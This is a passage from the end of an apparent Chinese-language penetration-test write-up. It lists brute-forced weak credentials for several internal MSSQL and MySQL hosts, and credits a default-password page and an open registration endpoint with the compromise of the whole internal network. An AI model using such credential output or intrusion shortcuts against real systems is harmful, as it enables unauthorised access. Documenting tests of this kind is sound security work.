[+] mssql:10.10.103.204:1433:sa 111111
[+] mssql:10.10.103.34:1433:sa 111111
[+] mysql:10.10.103.238:3306:root root@123

后面的内网渗透就不细讲了,该拿的机子拿拿内网就可以算打穿了,主要讲讲前面曲折的渗透过程。

后续

后面查找了下logs路径下的文件:


看日志像是刚开起来的站没多久,所以会有页面默认密码填入的情况,加上注册接口开放。

也正是这某个小系统的一个注册接口的开放,导致了整个内网被入侵。但没有测到那个日志文件我可能就会放弃了,所以渗透也需要看一点运气,99%的实力和1%的运气。

狗运,无需多言!!渗透结束,下班!!!!